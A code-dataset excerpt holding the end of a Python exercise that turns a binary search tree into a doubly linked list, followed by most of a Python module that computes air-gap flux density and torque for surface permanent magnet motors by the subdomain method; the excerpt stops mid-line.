__init__(self, value) -> None:\n self.value = value\n self.left = None\n self.right = None\n\n\ndef covert(tree):\n last_node = None\n\n last_node = convert_node(tree, last_node)\n\n head_list = last_node\n\n while head_list and head_list.left:\n head_list = head_list.left\n\n return head_list\n\n\ndef convert_node(tree, last_node):\n\n if tree:\n current_node = tree\n\n if current_node.left:\n last_node = convert_node(current_node.left, last_node)\n\n current_node.left = last_node\n\n if last_node:\n last_node.right = current_node\n\n last_node = current_node\n\n if current_node.right:\n last_node = convert_node(current_node.right, last_node)\n\n return last_node\n return None\n\n\ntree1 = Tree(10)\ntree2 = Tree(6)\ntree3 = Tree(14)\ntree4 = Tree(4)\ntree5 = Tree(8)\ntree6 = Tree(12)\ntree7 = Tree(16)\n\ntree1.left = tree2\ntree1.right = tree3\n\ntree2.left = tree4\ntree2.right = tree5\n\ntree3.left = tree6\ntree3.right = tree7\n\np_head = covert(tree1)\n\nwhile p_head:\n print(p_head.value)\n p_head = p_head.right\n","repo_name":"kinda830/leetcode-daliy","sub_path":"offer_demo/convert_tree_to_listnode.py","file_name":"convert_tree_to_listnode.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"20188818995","text":"import scipy.interpolate as si\nimport scipy.linalg as sl\nimport logging\nfrom scipy.fftpack import fft\nfrom emanpy.src.constants import *\n\nfrom emanpy.results import Result\nfrom .magnetization import get_fs_coeff\nfrom emanpy.analysis import Analysis\n\n\nclass SPMInnerRotorRadialFluxSubDomain(Analysis):\n\n __n_harms = 180\n __m_harms = 20\n __l_harms = 20\n __pp = 3\n __Ns = 9\n __oRr = 15.2e-3\n __Rm = 18.2e-3\n __Rs = 19.2e-3\n __Rt = 20e-3\n __Rsb = 30e-3\n __Aso = np.ones(9) * 0.1\n __As = np.ones(9) * 0.3\n __alpha_so = np.linspace(0, 360, 9, endpoint=False) * DEG2RAD\n __alpha_s = np.linspace(0, 360, 9, endpoint=False) * DEG2RAD\n __alpha_p_v = np.zeros(6)\n __delta_v = np.zeros(6)\n __M = np.ones(6) * 1.2 / MU0\n __mur = np.ones(6) * 1.1\n __magnetisation = 'Parallel'\n __init_pos = 0\n __C = np.zeros((6, 9))\n __Nph = 3\n __Ct = 20\n __Cp = 3\n __Cs = 1\n __gcd = 3\n __lcm = 18\n __Sl = 30e-3\n __Rl = 30e-3\n\n def __init__(self, analysis_settings, spm):\n self.type = \"Surface Permanent Magnet Machine - Inner Rotor - Subdomain\"\n self.__pp = spm.rotor.pp\n self.__Ns = spm.stator.slots_number\n self.__oRr = spm.rotor.outer_radius\n self.__Rm = spm.rotor.magnets[0].length + spm.rotor.outer_radius\n self.__init_pos = spm.rotor.rotor_position * DEG2RAD\n self.__Rs = spm.stator.inner_radius\n self.__Aso = np.zeros(self.__Ns)\n self.__As = np.zeros(self.__Ns)\n self.__alpha_so = np.zeros(self.__Ns)\n self.__alpha_s = np.zeros(self.__Ns)\n self.__gcd = GCD(self.__Ns, 2 * self.__pp)\n self.__lcm = LCM(self.__Ns, 2 * self.__pp)\n self.__Sl = spm.stator.stack_length\n self.__Rl = spm.rotor.stack_length\n self.__results = Result()\n\n self.__set_slot_geometry(spm)\n self.__set_magnet_geometry(spm)\n self.__set_winding_definition(spm)\n self.__configure(analysis_settings)\n\n log_msg = \"[SPM] Magnet Widths: \" + str(self.__alpha_p_v)\n logging.debug(log_msg)\n log_msg = \"[SPM] Magnet Shift: \" + str(self.__delta_v * RAD2DEG)\n logging.debug(log_msg)\n log_msg = \"[SPM] Slot Opening Positions: \" + str(self.__alpha_so * RAD2DEG)\n logging.debug(log_msg)\n log_msg = \"[SPM] Slot Positions: \" + str(self.__alpha_s * RAD2DEG)\n logging.debug(log_msg)\n\n\n\n def __set_slot_geometry(self, spm):\n slot = spm.stator.slots[0]\n if slot.get_type() == 'Type0':\n self.__Rt = spm.stator.inner_radius + (slot.h0 + slot.h1) / 2.0\n self.__Rsb = self.__Rt + slot.h2 + slot.h3\n for i, sl in enumerate(spm.stator.slots):\n self.__Aso[i] = (sl.w0 / spm.stator.inner_radius)\n self.__As[i] = (((sl.w1 + sl.w2) / 2.0) / ((self.__Rt + self.__Rsb) / 2.0))\n self.__alpha_so[i] = sl.so_position * DEG2RAD\n self.__alpha_s[i] = sl.s_position * DEG2RAD\n else:\n self.__Rt = spm.stator.inner_radius + (slot.h0 + slot.h1) / 2.0\n self.__Rsb = self.__Rt + slot.h2 + slot.h3\n for i, sl in enumerate(spm.stator.slots):\n self.__Aso[i] = (sl.w0 / spm.stator.inner_radius)\n self.__As[i] = (((sl.w1 + sl.w2) / 2.0) / ((self.__Rt + self.__Rsb) / 2.0))\n self.__alpha_so[i] = sl.so_position * DEG2RAD\n self.__alpha_s[i] = sl.s_position * DEG2RAD\n\n def __set_magnet_geometry(self, spm):\n magnet = spm.rotor.magnets[0]\n if magnet.get_type() == 'Arc':\n self.__alpha_p_v = np.zeros(2 * self.__pp)\n self.__delta_v = np.zeros(2 * self.__pp)\n self.__M = np.zeros(2 * self.__pp)\n self.__mur = np.zeros(2 * self.__pp)\n for i, mn in enumerate(spm.rotor.magnets):\n # IT'S MULTIPLIED BY POLE NUMBER\n self.__alpha_p_v[i] = 2 * self.__pp * mn.mean_arc_angle\n self.__delta_v[i] = mn.deviation\n self.__M[i] = mn.material.Br / MU0\n self.__mur[i] = mn.material.mur\n\n self.__magnetisation = mn.magnetisation\n else:\n self.__alpha_p_v = np.zeros(2 * self.__pp)\n self.__delta_v = np.zeros(2 * self.__pp)\n self.__M = np.zeros(2 * self.__pp)\n self.__mur = np.zeros(2 * self.__pp)\n for i, mn in enumerate(spm.rotor.magnets):\n # IT'S MULTIPLIED BY POLE NUMBER\n self.__alpha_p_v[i] = 2 * self.__pp * mn.mean_arc_angle\n self.__delta_v[i] = mn.deviation\n self.__M[i] = mn.material.Br / MU0\n self.__mur[i] = mn.material.mur\n\n self.__magnetisation = mn.magnetisation\n\n def __set_winding_definition(self, spm):\n winding = spm.stator.winding\n if winding.get_type() == 'concentrated':\n self.__Nph = winding.phases\n self.__Ct = winding.turns_coil\n self.__Cp = winding.coil_parallel\n self.__Cs = winding.coil_series\n self.__C = winding.conn_matrix\n else:\n self.__Nph = winding.phases\n self.__Ct = winding.turns_coil\n self.__Cp = winding.coil_parallel\n self.__Cs = winding.coil_series\n self.__C = winding.conn_matrix\n\n #self.__results.stator_coil_resistance, self.__results.stator_phase_resistance = winding.get_resistances()\n self.__results.td = winding.turns_density(m=3, Ns=self.__Ns)\n self.__results.wf = winding.winding_function(m=3, pp=self.__pp, Ns=self.__Ns)\n self.__results.wh = winding.winding_harmonics(m=3, pp=self.__pp, Ns=self.__Ns)\n self.__results.kw_v = winding.winding_factors(m=3, pp=self.__pp, Ns=self.__Ns)\n\n def __configure(self, analysis_settings):\n self.noload_bemf = analysis_settings['noload'].get('bemf', False)\n self.noload_speed = analysis_settings['noload'].get('speed', 1000)\n self.cogging = analysis_settings['noload'].get('cogging', False)\n self.noload_pressure = analysis_settings['noload'].get('pressure', False)\n self.rippe = analysis_settings['load'].get('ripple', False)\n self.load_speed = analysis_settings['load'].get('speed', 1000)\n self.load_current = analysis_settings['load'].get('current', 100)\n self.load_voltage = analysis_settings['load'].get('voltage', None)\n self.load_gamma = analysis_settings['load'].get('gamma', 0)\n self.load_losses = analysis_settings['load'].get('losses', False)\n self.load_pressure = analysis_settings['load'].get('pressure', False)\n self.inductance_max_current = analysis_settings['inductance'].get('max_current', 10)\n self.inductance_steps = analysis_settings['inductance'].get('steps', 5)\n self.winding_function = analysis_settings['winding'].get('winding_function', False)\n self.winding_harmonics = analysis_settings['winding'].get('winding_harmonics', False)\n self.winding_factors = analysis_settings['winding'].get('winding_factors', False)\n\n def __assembly_A(self):\n Nharms = np.arange(2, self.__n_harms+1)\n N = len(Nharms)\n Mharms = np.arange(1, self.__m_harms)\n M = len(Mharms)\n Lharms = np.arange(1, self.__l_harms)\n L = len(Lharms)\n MNs = M*self.__Ns\n LNs = L*self.__Ns\n\n In = np.eye(N, dtype=int)\n Imns = np.eye(MNs, dtype=int)\n Ilns = np.eye(LNs, dtype=int)\n NN = np.zeros((N, N))\n Zero_nn = np.zeros((N, N))\n Zero_mn = np.zeros((MNs, N))\n Zero_nm = np.zeros((N, MNs))\n Zero_ln = np.zeros((LNs, N))\n Zero_nl = np.zeros((N, LNs))\n Zero_ml = np.zeros((MNs, LNs))\n\n rowVectorL = np.ones((1, L))\n colVectorM = np.ones((M, 1))\n\n RM = np.diag((self.__oRr / self.__Rm) ** (Nharms - 1))\n MG = np.diag((self.__Rm / self.__Rs) ** (Nharms - 1))\n GS = np.zeros((MNs, MNs))\n F = np.zeros((MNs, MNs))\n SOS = np.zeros((LNs, LNs))\n E = np.zeros((LNs, LNs))\n eta = np.zeros((N, MNs))\n xi = np.zeros((N, MNs))\n sigma = np.zeros((MNs, N))\n tau = np.zeros((MNs, N))\n phi = np.zeros((MNs, LNs))\n V = np.zeros((MNs, LNs))\n\n for i in range(0,N):\n n = Nharms[i] - 1\n NN[i][i] = n\n\n for iNs in range(0, self.__Ns):\n Fm = Mharms * PI / self.__Aso[iNs]\n aux_term1 = ((Fm**2.0) - n**2.0)**(-1)\n aux_term2 = ( -1**Mharms )*np.sin( n*self.__alpha_so[iNs] + n*self.__Aso[iNs] / 2.0)\n aux_term3 = np.sin(n*self.__alpha_so[iNs] - n*self.__Aso[iNs] / 2.0) * np.ones(M)\n eta[i,iNs*M:(iNs+1)*M] = (-1.0/PI)*n*aux_term1*(aux_term2 - aux_term3)\n\n aux_term4 = ( -1**Mharms )*np.cos( n*self.__alpha_so[iNs] + n*self.__Aso[iNs] / 2.0)\n aux_term5 = np.cos(n * self.__alpha_so[iNs] - n * self.__Aso[iNs] / 2.0) * np.ones(M)\n xi[i,iNs*M:(iNs+1)*M] = (1.0 / PI) * n * aux_term1 * (aux_term4 - aux_term5)\n\n sigma[iNs*M:(iNs+1)*M,i] = (2.0*PI / self.__Aso[iNs])*eta[i,iNs*M:(iNs+1)*M]\n tau[iNs*M:(iNs+1)*M,i] = (2.0*PI / self.__Aso[iNs])*xi[i,iNs*M:(iNs+1)*M]\n\n for iNs in range(0, self.__Ns):\n Fm = Mharms * PI / self.__Aso[iNs]\n GS[iNs*M:(iNs+1)*M,iNs*M:(iNs+1)*M] = np.diag((self.__Rs / self.__Rt)**Fm)\n F[iNs*M:(iNs+1)*M,iNs*M:(iNs+1)*M] = np.diag(Fm)\n\n El = Lharms * PI / self.__As[iNs]\n SOS[iNs*L:(iNs+1)*L,iNs*L:(iNs+1)*L] = np.diag((self.__Rt / self.__Rsb) ** El)\n E[iNs*L:(iNs+1)*L,iNs*L:(iNs+1)*L] = np.diag(El)\n\n aux_term6 = (np.dot(np.transpose([Fm**2]),rowVectorL) - np.dot(colVectorM,[El**2]))**(-1)\n aux_term7 = np.sin(El*(self.__alpha_so[iNs] - self.__alpha_s[iNs] +\n (self.__As[iNs] - self.__Aso[iNs]) / 2.0))\n aux_term8 = np.dot(colVectorM, [aux_term7])\n aux_term9 = np.sin(El * (self.__alpha_so[iNs] - self.__alpha_s[iNs] +\n (self.__As[iNs] + self.__Aso[iNs]) / 2.0))\n aux_term10 = np.dot(np.transpose([-1 ** Mharms]), [aux_term9])\n\n phi[iNs*M:(iNs+1)*M,iNs*L:(iNs+1)*L] = ( (2.0 / self.__As[iNs])*\n np.dot(colVectorM, [El]) * aux_term6 *\n (aux_term8 - aux_term10) )\n V[iNs*M:(iNs+1)*M,iNs*L:(iNs+1)*L] = ( (self.__As[iNs] / self.__Aso[iNs]) *\n phi[iNs*M:(iNs+1)*M,iNs*L:(iNs+1)*L] )\n\n Eq1_Wm = RM\n Eq1_Xm = -In\n\n Eq2_Ym = -RM\n Eq2_Zm = In\n\n Eq7_Wm = In\n Eq7_Xm = -RM\n Eq7_Wg = -self.__mur[0] * MG\n Eq7_Xg = self.__mur[0] * In\n\n Eq8_Wm = -In\n Eq8_Xm = -RM\n Eq8_Wg = MG\n Eq8_Xg = In\n\n Eq9_Ym = -In\n Eq9_Zm = RM\n Eq9_Yg = self.__mur[0] * MG\n Eq9_Zg = -self.__mur[0] * In\n\n Eq10_Ym = -In\n Eq10_Zm = -RM\n Eq10_Yg = MG\n Eq10_Zg = In\n\n Eq11_Wg = -NN\n Eq11_Xg = np.dot(NN, MG)\n Eq11_Yso = np.dot(np.dot(eta, F), GS)\n Eq11_Zso = -np.dot(eta, F)\n\n Eq12_Yg = -NN\n Eq12_Zg = np.dot(NN, MG)\n Eq12_Yso = np.dot(np.dot(xi, F), GS)\n Eq12_Zso = -np.dot(xi, F)\n\n Eq13_Wg = sigma\n Eq13_Xg = np.dot(sigma, MG)\n Eq13_Yg = tau\n Eq13_Zg = np.dot(tau, MG)\n Eq13_Yso = -GS\n Eq13_Zso = -Imns\n\n Eq14_Yso = Imns\n Eq14_Zso = GS\n Eq14_Zs = -np.dot(V, (SOS**2 + Ilns))\n\n Eq15_Yso = np.dot( phi.transpose(), F)\n Eq15_Zso = -np.dot( phi.transpose(), np.dot(F, GS))\n Eq15_Zs = -np.dot(E, (SOS**2 - Ilns))\n\n Eq1 = np.concatenate(\n (Eq1_Wm, Eq1_Xm, Zero_nn, Zero_nn, Zero_nn, Zero_nn, Zero_nn, Zero_nn, Zero_nm, Zero_nm, Zero_nl),\n axis=1)\n Eq2 = np.concatenate(\n (Zero_nn, Zero_nn, Eq2_Ym, Eq2_Zm, Zero_nn, Zero_nn, Zero_nn, Zero_nn, Zero_nm, Zero_nm, Zero_nl),\n axis=1)\n Eq7 = np.concatenate(\n (Eq7_Wm, Eq7_Xm, Zero_nn, Zero_nn, Eq7_Wg, Eq7_Xg, Zero_nn, Zero_nn, Zero_nm, Zero_nm, Zero_nl),\n axis=1)\n Eq8 = np.concatenate(\n (Eq8_Wm, Eq8_Xm, Zero_nn, Zero_nn, Eq8_Wg, Eq8_Xg, Zero_nn, Zero_nn, Zero_nm, Zero_nm, Zero_nl),\n axis=1)\n Eq9 = np.concatenate(\n (Zero_nn, Zero_nn, Eq9_Ym, Eq9_Zm, Zero_nn, Zero_nn, Eq9_Yg, Eq9_Zg, Zero_nm, Zero_nm, Zero_nl),\n axis=1)\n Eq10 = np.concatenate(\n (Zero_nn, Zero_nn, Eq10_Ym, Eq10_Zm, Zero_nn, Zero_nn, Eq10_Yg, Eq10_Zg, Zero_nm, Zero_nm, Zero_nl),\n axis=1)\n Eq11 = np.concatenate(\n (Zero_nn, Zero_nn, Zero_nn, Zero_nn, Eq11_Wg, Eq11_Xg, Zero_nn, Zero_nn, Eq11_Yso, Eq11_Zso, Zero_nl),\n axis=1)\n Eq12 = np.concatenate(\n (Zero_nn, Zero_nn, Zero_nn, Zero_nn, Zero_nn, Zero_nn, Eq12_Yg, Eq12_Zg, Eq12_Yso, Eq12_Zso, Zero_nl),\n axis=1)\n Eq13 = np.concatenate(\n (Zero_mn, Zero_mn, Zero_mn, Zero_mn, Eq13_Wg, Eq13_Xg, Eq13_Yg, Eq13_Zg, Eq13_Yso, Eq13_Zso,Zero_ml),\n axis=1)\n Eq14 = np.concatenate(\n (Zero_mn, Zero_mn, Zero_mn, Zero_mn, Zero_mn, Zero_mn, Zero_mn, Zero_mn, Eq14_Yso, Eq14_Zso, Eq14_Zs),\n axis=1)\n Eq15 = np.concatenate(\n (Zero_ln, Zero_ln, Zero_ln, Zero_ln, Zero_ln, Zero_ln, Zero_ln, Zero_ln, Eq15_Yso, Eq15_Zso, Eq15_Zs),\n axis=1)\n\n self._A_ = np.concatenate((Eq1, Eq2, Eq7, Eq8, Eq9, Eq10, Eq11, Eq12, Eq13, Eq14, Eq15), axis=0)\n\n\n def __assembly_b_nl(self, pos = [0.0]):\n Nharms = np.arange(2, self.__n_harms + 1)\n N = len(Nharms)\n Mharms = np.arange(1, self.__m_harms)\n M = len(Mharms)\n Lharms = np.arange(1, self.__l_harms)\n L = len(Lharms)\n MNs = M * self.__Ns\n LNs = L * self.__Ns\n\n Zero_n = np.zeros((N, len(pos)))\n Zero_m = np.zeros((MNs, len(pos)))\n Zero_l = np.zeros((LNs, len(pos)))\n Eq1 = np.zeros((N, len(pos)))\n Eq2 = np.zeros((N, len(pos)))\n Eq7 = np.zeros((N, len(pos)))\n Eq8 = np.zeros((N, len(pos)))\n Eq9 = np.zeros((N, len(pos)))\n Eq10 = np.zeros((N, len(pos)))\n\n for p in range(0, len(pos)):\n self._Mrn, self._Mtn = get_fs_coeff(self.__magnetisation, self.__n_harms, self.__pp, pos[p], self.__M,\n self.__alpha_p_v, self.__delta_v, 0)\n\n Mrcn = 2.0 * np.real(self._Mrn)\n Mrsn = -2.0 * np.imag(self._Mrn)\n Mtcn = 2.0 * np.real(self._Mtn)\n Mtsn = -2.0 * np.imag(self._Mtn)\n\n for i in range(0, N):\n n = Nharms[i]-1\n if (np.abs(n)==1):\n factor_Rr = np.log(self.__oRr) / 2.0\n factor_Rm = np.log(self.__Rm) / 2.0\n else:\n factor_Rr = factor_Rm = 1.0 / (n**2 - 1.0)\n\n Eq1[i,p] = MU0 * self.__oRr * factor_Rr * (Mrsn[i+1] - n * Mtcn[i+1])\n Eq2[i,p] = MU0 * self.__oRr * factor_Rr * (Mrcn[i+1] + n * Mtsn[i+1])\n Eq7[i,p] = MU0 * self.__Rm * factor_Rm * (Mrsn[i+1] - n * Mtcn[i+1])\n Eq8[i,p] = MU0 * self.__Rm * factor_Rm * (Mtcn[i+1] - n * Mrsn[i+1])\n Eq9[i,p] = MU0 * self.__Rm * factor_Rm * (Mrcn[i+1] + n * Mtsn[i+1])\n Eq10[i,p] = MU0 * self.__Rm * factor_Rm * (Mtsn[i+1] + n * Mrcn[i+1])\n\n self._b_ = np.concatenate((Eq1, Eq2, Eq7, Eq8, Eq9, Eq10, Zero_n, Zero_n, Zero_m,\n Zero_m, Zero_l), axis=0)\n\n\n def __assembly_b_ol(self, pos = [0.0], samePos = True, I = [0.0, 0.0, 0.0]):\n if(samePos==True):\n b = np.tile(self._b_, 2)\n self._b_ = b\n else:\n Nharms = np.arange(2, self.__n_harms + 1)\n N = len(Nharms)\n Mharms = np.arange(1, self.__m_harms)\n M = len(Mharms)\n Lharms = np.arange(1, self.__l_harms)\n L = len(Lharms)\n MNs = M * self.__Ns\n LNs = L * self.__Ns\n\n Zero_n = np.zeros((N, len(pos)))\n Zero_m = np.zeros((MNs, len(pos)))\n Zero_l = np.zeros((LNs, len(pos)))\n rowVectorL = np.ones((1, L))\n colVectorM = np.ones((M, 1))\n Ilns = np.eye(LNs)\n Eq1 = np.zeros((N, len(pos)))\n Eq2 = np.zeros((N, len(pos)))\n Eq7 = np.zeros((N, len(pos)))\n Eq8 = np.zeros((N, len(pos)))\n Eq9 = np.zeros((N, len(pos)))\n Eq10 = np.zeros((N, len(pos)))\n Eq11 = np.zeros((N, len(pos)))\n Eq12 = np.zeros((N, len(pos)))\n Eq14 = np.zeros((MNs, len(pos)))\n Eq15 = np.zeros((LNs, len(pos)))\n\n eta_o = np.zeros((N, self.__Ns))\n xi_o = np.zeros((N, self.__Ns))\n SOS = np.zeros((LNs, LNs))\n E = np.zeros((LNs, LNs))\n phi = np.zeros((MNs, LNs))\n V = np.zeros((MNs, LNs))\n V_o = np.zeros((LNs, 1))\n Jn = np.zeros((LNs, 1))\n\n C = self.__C\n\n for p in range(0, len(pos)):\n self._Mrn, self._Mtn = get_fs_coeff(self.__magnetisation, self.__n_harms, self.__pp, pos[p], self.__M,\n self.__alpha_p_v, self.__delta_v, 0)\n\n Mrcn = 2.0 * np.real(self._Mrn)\n Mrsn = -2.0 * np.imag(self._Mrn)\n Mtcn = 2.0 * np.real(self._Mtn)\n Mtsn = -2.0 * np.imag(self._Mtn)\n\n for i in range(0, N):\n n = Nharms[i] - 1\n if (np.abs(n) == 1):\n factor_Rr = np.log(self.__oRr) / 2.0\n factor_Rm = np.log(self.__Rm) / 2.0\n else:\n factor_Rr = factor_Rm = 1.0 / (n ** 2 - 1.0)\n\n Eq1[i, p] = MU0 * self.__oRr * factor_Rr * (Mrsn[i + 1] - n * Mtcn[i + 1])\n Eq2[i, p] = MU0 * self.__oRr * factor_Rr * (Mrcn[i + 1] + n * Mtsn[i + 1])\n Eq7[i, p] = MU0 * self.__Rm * factor_Rm * (Mrsn[i + 1] - n * Mtcn[i + 1])\n Eq8[i, p] = MU0 * self.__Rm * factor_Rm * (Mtcn[i + 1] - n * Mrsn[i + 1])\n Eq9[i, p] = MU0 * self.__Rm * factor_Rm * (Mrcn[i + 1] + n * Mtsn[i + 1])\n Eq10[i, p] = MU0 * self.__Rm * factor_Rm * (Mtsn[i + 1] + n * Mrcn[i + 1])\n\n eta_o[i,:] = (2.0 / (n * PI)) * (np.cos(n * self.__alpha_so) *\n np.sin(n * self.__Aso / 2.0))\n xi_o[i, :] = (2.0 / (n * PI)) * (np.sin(n * self.__alpha_so) *\n np.sin(n * self.__Aso / 2.0))\n\n ###### This is valid only for concentrated winding and 3 phases\n I1_p_I2 = np.dot(I[p,:], C[0:self.__Nph, 0:self.__Ns] + C[self.__Nph:, 0:self.__Ns])\n I1_m_I2 = np.dot(I[p,:], C[0:self.__Nph, 0:self.__Ns] - C[self.__Nph:, 0:self.__Ns])\n Jo = I1_p_I2 / self.__Aso\n\n for iNs in range(0, self.__Ns):\n Fm = Mharms * PI / self.__Aso[iNs]\n El = Lharms * PI / self.__As[iNs]\n SOS[iNs * L:(iNs + 1) * L, iNs * L:(iNs + 1) * L] = np.diag((self.__Rt / self.__Rsb) ** El)\n E[iNs * L:(iNs + 1) * L, iNs * L:(iNs + 1) * L] = np.diag(El)\n aux_term6 = (np.dot(np.transpose([Fm ** 2]), rowVectorL) - np.dot(colVectorM, [El ** 2])) ** (-1)\n aux_term7 = np.sin(El * (self.__alpha_so[iNs] - self.__alpha_s[iNs] +\n (self.__As[iNs] - self.__Aso[iNs]) / 2.0))\n aux_term8 = np.dot(colVectorM, [aux_term7])\n aux_term9 = np.sin(El * (self.__alpha_so[iNs] - self.__alpha_s[iNs] +\n (self.__As[iNs] + self.__Aso[iNs]) / 2.0))\n aux_term10 = np.dot(np.transpose([-1 ** Mharms]), [aux_term9])\n\n phi[iNs * M:(iNs + 1) * M, iNs * L:(iNs + 1) * L] = ((2.0 / self.__As[iNs]) *\n np.dot(colVectorM, [El]) * aux_term6 *\n (aux_term8 - aux_term10))\n V[iNs * M:(iNs + 1) * M, iNs * L:(iNs + 1) * L] = ((self.__As[iNs] / self.__Aso[iNs]) *\n phi[iNs * M:(iNs + 1) * M,\n iNs * L:(iNs + 1) * L])\n aux_term11 = 4.0 * ((Lharms * PI) ** (-1))\n aux_term12 = np.sin(Lharms * PI * self.__Aso[iNs] / (self.__As[iNs] * 2.0))\n aux_term13 = np.cos(Lharms * PI / 2.0 + Lharms * PI *\n (self.__alpha_so[iNs] - self.__alpha_s[iNs]) / 2.0)\n phi_o = aux_term11 * aux_term12 * aux_term13\n V_o[iNs * L:(iNs + 1) * L,:] = np.transpose([phi_o]) * Jo[iNs]\n aux_term14 = np.sin(Lharms * PI / 2.0) / (Lharms * PI * self.__As[iNs])\n Jn[iNs * L:(iNs + 1) * L, :] = (8.0 * I1_m_I2[iNs] /\n (self.__Rsb ** 2 - self.__Rt ** 2 ))*\\\n np.transpose([aux_term14])\n\n Eq11[:,p] = -MU0 * np.dot(eta_o, Jo)\n Eq12[:,p] = -MU0 * np.dot(xi_o, Jo)\n tmp1 = np.diag((np.diag(E ** 2 - 4.0 * Ilns)) ** (-1))\n tmp2 = Ilns * (self.__Rt ** 2) - (2.0 * (self.__Rsb ** 2) *\n np.dot(np.diag(E.diagonal() ** (-1)), SOS))\n Eq14[:,p] = MU0 * V.dot(tmp1).dot(tmp2).dot(Jn).flatten()\n tmp3 = Ilns * (self.__Rt ** 2) - (self.__Rsb ** 2) * SOS\n Eq15[:,p] = (-MU0 * V_o + 2.0 * MU0 * tmp1.dot(tmp3).dot(Jn)).flatten()\n\n\n\n b = np.concatenate((Eq1, Eq2, Eq7, Eq8, Eq9, Eq10, Eq11, Eq12, Zero_m,\n Eq14, Eq15), axis=0)\n self._b_ = np.concatenate((self._b_, b), axis=1)\n\n\n def get_self_and_mutual_inductance(self):\n \"\"\"Get self and mutual inductance by means of winding function\n\n Compute self and mutual inductance according to Paul et al. 'Drive response modeling of dual\n wound surface permanent magnet machines' in IEMDC (2017)\n\n Args:\n posNL: Rotor positions to be computed under no load\n\n Returns:\n Lself: Self Inductance\n Lmutual: Mutual Inductance\n \"\"\"\n tao_s = 2 * PI * self.__Rs / self.__Ns\n mur = self.__mur\n Ml = self.__Rm - self.__oRr\n g = self.__Rs - self.__Rm\n gc = g + Ml / mur\n w0 = self.__Aso[0] * self.__Rs\n kcs = tao_s / (tao_s - (2 * w0 / PI) * (np.arctan2(w0, 2 * gc) -\n (gc / w0) * np.log(1 + (w0 / (2 * gc))**2)))\n ge = gc * kcs\n\n #Ps = self._stator._winding.slot_permeances()\n\n #print (gc, kcs, ge, Ps)\n Lself = 0.0\n Lmutual = 0.0\n\n return Lself, Lmutual\n\n\n def get_ag_flux_density(self, posNL = [0.0], posOL = [0.0], samePos = True, current = [0.0, 0.0, 0.0],\n psi = np.linspace(0, 2*PI, 360)):\n \"\"\"Get the flux density in the air gap by sub-domain method\n\n Compute air gap flux density according to Pina Ortega et al. 'Analytical Model for\n predicting effects of manufacturing variations on cogging torque in surface-mounted\n permanent magnet motors' in IEEE Transactions on Industry Application (2016), and 'Analytical\n prediction of torque ripple in surface-mounted permanent magnet motors due to manufacturing\n variations' in IEEE Transactions on Energy Conversion (2016)\n\n Args:\n posNL: Rotor positions to be computed under no load\n posOL: Rotor positions to be computed under load\n samePos: No load and load positions are the same\n current: Current vector\n psi: Spatial position in the air gap\n\n Returns:\n Bg_r: Radial component for each position evaluated\n Bg_t: Tangential component for each position evaluated\n \"\"\"\n self.__assembly_A()\n self.__assembly_b_nl(pos=posNL)\n self.__assembly_b_ol(pos=posOL,samePos=samePos, I=current)\n unk = sl.solve(self._A_, self._b_)\n Nharms = np.arange(2, self.__n_harms + 1)\n N = len(Nharms)\n Wg = unk[4 * N:5 * N, : ]\n Xg = unk[5 * N:6 * N, : ]\n Yg = unk[6 * N:7 * N, : ]\n Zg = unk[7 * N:8 * N, : ]\n g = self.__Rs - self.__Rm\n # Flux Density Close to stator for better prediction of flux linkage and\n # Radial forces\n r = self.__Rs - g / 2.0\n Bg_r = np.zeros((len(posNL)+len(posOL),len(psi)))\n Bg_t = np.zeros((len(posNL)+len(posOL),len(psi)))\n for p in range(0, len(posNL)+len(posOL)):\n for i in range(0, N):\n n = Nharms[i] - 1\n term1 = -(n / r) * ((Wg[i,p] * (r / self.__Rs) ** n) + (Xg[i,p] * (r / self.__Rm) ** (-n)))\n term2 = (n / r) * ((Yg[i,p] * (r / self.__Rs) ** n) + (Zg[i,p] * (r / self.__Rm) ** (-n)))\n term3 = -(n / r) * ((Wg[i,p] * (r / self.__Rs) ** n) - (Xg[i,p] * (r / self.__Rm) ** (-n)))\n term4 = -(n / r) * ((Yg[i,p] * (r / self.__Rs) ** n) - (Zg[i,p] * (r / self.__Rm) ** (-n)))\n Bg_r[p,:] = Bg_r[p,:] + term1 * np.sin(n * psi) + term2 * np.cos(n * psi)\n Bg_t[p,:] = Bg_t[p,:] + term3 * np.cos(n * psi) + term4 * np.sin(n * psi)\n\n return Bg_r, Bg_t\n\n\n\n def __get_settings_cogging(self):\n final_pos = 360 / self.__lcm\n steps = 7\n posVector = np.linspace(0, final_pos, steps) * DEG2RAD + self.__init_pos\n return posVector\n\n\n def __get_settings_ripple(self):\n final_pos = 360 / self.__lcm\n steps = 7\n posVector = np.linspace(0, final_pos, steps) * DEG2RAD + self.__init_pos\n thetaElec = self.__pp * np.linspace(0, final_pos, steps) * DEG2RAD\n Is = self.load_current / self.__Cp\n IVector = np.transpose([Is * np.sin(thetaElec), Is * np.sin(thetaElec - 2.0*PI/3.0),\n Is * np.sin(thetaElec + 2.0*PI/3.0)])\n return posVector, IVector\n\n def __get_settings_static_torque(self, pos=np.array([]), I=np.array([])):\n final_pos = 360 / self.__pp\n steps = 7\n posVector = np.linspace(0, final_pos, steps) * DEG2RAD + self.__init_pos\n Is = self.load_current / self.__Cp\n IVector = np.transpose([Is * np.ones(steps), -0.5 * Is * np.ones(steps),\n -0.5 * Is * np.ones(steps)])\n return posVector, IVector\n\n def __get_settings_inductance_calc(self):\n posVector = np.array([self.__init_pos])\n IVector = np.array([self.load_current, 0.0, 0.0]) / self.__Cp\n return posVector, IVector\n\n def __get_settings_bemf(self, pos=[]):\n init_pos = pos[-1]\n steps = 3\n final_pos = 2*PI / (3 * self.__pp) + self.__init_pos # Max span 120 electric degrees\n step_size = np.abs(init_pos - final_pos) / steps\n posVector = np.linspace(init_pos + step_size, final_pos - step_size, steps)\n return posVector, self.noload_speed\n\n def solve(self):\n if self.cogging:\n pos1 = self.__get_settings_cogging()\n if self.noload_bemf:\n pos2, wr_nl = self.__get_settings_bemf(pos=pos1)\n\n pos3, I1 = self.__get_settings_ripple()\n pos4, I2 = self.__get_settings_static_torque()\n pos5, I3 = self.__get_settings_inductance_calc()\n\n\n posNL = np.hstack((pos1, pos2))\n\n posOL = np.hstack((pos3, pos4, pos5))\n I = np.vstack((I1, I2, I3))\n\n\n Bg_r, Bg_t = self.get_ag_flux_density(posNL=posNL, posOL=posOL, samePos=False,\n current=I)\n g = self.__Rs - self.__Rm\n r = (self.__Rs - g / 7.0)\n Lstk = (self.__Sl + self.__Rl) / 2.0\n torque = (Lstk * (r**2) / MU0) * np.trapz(Bg_r * 